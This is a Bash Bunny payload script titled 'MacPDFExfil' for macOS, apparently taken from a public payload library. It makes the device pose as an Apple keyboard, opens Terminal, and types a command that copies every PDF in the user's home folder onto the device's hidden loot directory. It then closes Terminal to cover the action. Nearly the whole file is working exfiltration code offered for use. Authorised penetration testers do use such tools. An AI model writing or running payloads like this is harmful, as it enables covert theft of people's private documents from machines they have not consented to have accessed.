Files
bashbunny-payloads/payloads/library/exfiltration/MacPDFExfil/payload.txt
2017-04-16 15:53:49 +10:00

29 lines
676 B
Bash

#!/bin/bash
#
# Title: MacPDFExfil
# Author: k1ul3ss
# Props: audibleblink
# Version: 1.0
# Category: Exfiltration
# Target: macOS
# Attackmodes: HID, Storage
ATTACKMODE STORAGE HID VID_0X05AC PID_0X021E
# device name
dev_name="BashBunny"
# loot directory
lootdir="/Volumes/$dev_name/loot/"
QUACK GUI SPACE
QUACK DELAY 1000
QUACK STRING terminal
QUACK ENTER
QUACK DELAY 3000
# Find all PDFs stored in the user's home directory, and copy them over to the BashBunny storage.
QUACK STRING find \~ -name \'*.pdf\' -exec cp \"{}\" $lootdir \\\;\; killall Terminal
QUACK ENTER
# sync the filesystem
sync